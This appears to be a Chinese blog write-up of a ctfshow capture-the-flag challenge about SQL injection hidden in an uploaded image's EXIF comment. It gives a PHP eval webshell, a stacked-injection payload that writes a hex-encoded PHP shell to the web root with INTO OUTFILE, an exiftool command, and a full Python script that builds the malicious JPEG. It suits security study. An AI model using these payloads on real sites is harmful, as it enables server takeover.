exif注释图片上传插入sql

题目:ctfshow Exif注释包含恶意代码

【1】访问robots.txt

User-agent: *
Disallow: /pwdreset.php

【2】访问/pwdreset.php,重置admin密码,到/login登录,重定向到main.php,有个文件上传点,上传内容为<?php eval($_POST[111]);?>,文件名为shell.php的马,上传之后,重定向到filelist.php,点击图中链接,他会直接下载,没什么思路了

image-20260614122403708

【3】解法一(应该是非预期)

原理:上传文件的文件内容也会通过sql语句写到数据库里面的

C64File "是 EXIF UserComment 字段的格式前缀 。EXIF 规范要求 UserComment 标签前 8 字节标识字符编码

(1)向1.txt文件写入

16进制编码为0x3c3f3d60746163202f662a603f3e

C64File "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell1.php';--+

(2)访问/shell1.php

image-20260614124743892

解法二:EXIF 注释 + 堆叠注入 详解

图片的 EXIF 注释字段可以存储任意文本,服务器读取后直接拼接到 SQL 语句中,没有转义过滤,攻击者在 EXIF 注释中写入 SQL 代码,实现堆叠注入

EXIF(Exchangeable Image File Format)是图片的元数据,记录了拍摄信息:

攻击原理

1. 用户上传图片
2. 服务器读取图片的 EXIF 注释
3. 把注释内容拼接到 SQL 语句
4. 执行 SQL将注释存入数据库
这绕过了常见的输入过滤——服务器可能过滤了表单输入但没有过滤 EXIF 中的数据

后端代码可能是这样的:

// 读取上传图片的 EXIF 注释
$exif = exif_read_data($_FILES['image']['tmp_name']);
$comment = $exif['ImageDescription'];  // 获取 EXIF 注释

// 直接拼接到 SQL 语句(没有转义!)
$sql = "INSERT INTO photos (comment) VALUES ('$comment')";
mysqli_query($conn, $sql);

攻击流程

第一步:往图片的 EXIF 注释字段注入 SQL 代码

exiftool -Comment="test');SELECT SLEEP(5);-- " photo.jpg

第二步:上传图片

第三步:服务器执行 SQL

INSERT INTO photos (comment) VALUES ('test');SELECT SLEEP(5);-- ')

拆解这条 SQL:

INSERT INTO photos (comment) VALUES ('test');  ← 正常语句,执行完
SELECT SLEEP(5);                                ← 注入的第二条语句,执行完
-- ')                                           ← 注释掉后面的引号和括号

修改图片的 EXIF

方法一:exiftool

# 修改所有注释类字段
exiftool -Comment="');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell.php';--+" 1.jpg

方法二:Python(直接运行就行,不用图片,会自动生成)

import struct
import io

def make_jpeg_with_exif_comment(payload: str, output_path: str):
 """
 构造一个最小合法 JPEG,EXIF Comment 字段包含 payload
 """
 payload_bytes = payload.encode('latin-1')

 # JPEG SOI
 soi = b'\xff\xd8'

 # APP1 EXIF 段
 # EXIF header
 exif_header = b'Exif\x00\x00'

 # TIFF header (little-endian)
 tiff_header = b'II\x2a\x00\x08\x00\x00\x00' # II = little-endian, 0x2a = magic, offset=8

 # IFD0: 1 entry (ImageDescription = 0x010e)
 # tag=0x010e, type=2(ASCII), count=len+1, value_offset
 tag = 0x010e
 ifd_type = 2 # ASCII
 count = len(payload_bytes) + 1 # +1 for null terminator
 # IFD entry size = 12 bytes, IFD count(2) + 1 entry(12) + next_ifd(4) = 18 bytes
 # value offset = 8 (tiff header) + 2 (count) + 12 (entry) + 4 (next ifd) = 26
 value_offset = 8 + 2 + 12 + 4

 ifd_count = struct.pack('<H', 1)
 ifd_entry = struct.pack('<HHII', tag, ifd_type, count, value_offset)
 next_ifd = struct.pack('<I', 0)
 value_data = payload_bytes + b'\x00'

 tiff_data = tiff_header + ifd_count + ifd_entry + next_ifd + value_data

 app1_data = exif_header + tiff_data
 app1_len = len(app1_data) + 2 # +2 for length field itself
 app1 = b'\xff\xe1' + struct.pack('>H', app1_len) + app1_data

 # 最小 JPEG 图像数据(1x1 白色像素)
 # SOF0 + DHT + SOS + EOI
 minimal_jpeg_body = bytes([
 0xff, 0xdb, 0x00, 0x43, 0x00, # DQT
 0x08, 0x06, 0x06, 0x07, 0x06, 0x05, 0x08, 0x07,
 0x07, 0x07, 0x09, 0x09, 0x08, 0x0a, 0x0c, 0x14,
 0x0d, 0x0c, 0x0b, 0x0b, 0x0c, 0x19, 0x12, 0x13,
 0x0f, 0x14, 0x1d, 0x1a, 0x1f, 0x1e, 0x1d, 0x1a,
 0x1c, 0x1c, 0x20, 0x24, 0x2e, 0x27, 0x20, 0x22,
 0x2c, 0x23, 0x1c, 0x1c, 0x28, 0x37, 0x29, 0x2c,
 0x30, 0x31, 0x34, 0x34, 0x34, 0x1f, 0x27, 0x39,
 0x3d, 0x38, 0x32, 0x3c, 0x2e, 0x33, 0x34, 0x32,
 0xff, 0xc0, 0x00, 0x0b, 0x08, 0x00, 0x01, 0x00, # SOF0 1x1
 0x01, 0x01, 0x01, 0x11, 0x00,
 0xff, 0xc4, 0x00, 0x1f, 0x00, # DHT
 0x00, 0x01, 0x05, 0x01, 0x01, 0x01, 0x01, 0x01,
 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
 0x08, 0x09, 0x0a, 0x0b,
 0xff, 0xda, 0x00, 0x08, 0x01, 0x01, 0x00, 0x00, # SOS
 0x3f, 0x00, 0xf5, 0x28, 0xa1, 0x4f,
 0xff, 0xd9 # EOI
 ])

 jpeg_data = soi + app1 + minimal_jpeg_body

 with open(output_path, 'wb') as f:
    f.write(jpeg_data)

 print(f"[+] 生成文件: {output_path}")
 print(f"[+] 文件大小: {len(jpeg_data)} bytes")
 print(f"[+] Payload 已写入 EXIF ImageDescription")

payload = "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/shell.php';--+"
make_jpeg_with_exif_comment(payload, "evil.jpg")

posted @ 2026-06-18 13:05  Doll_Marker  阅读(16)  评论(0)    收藏  举报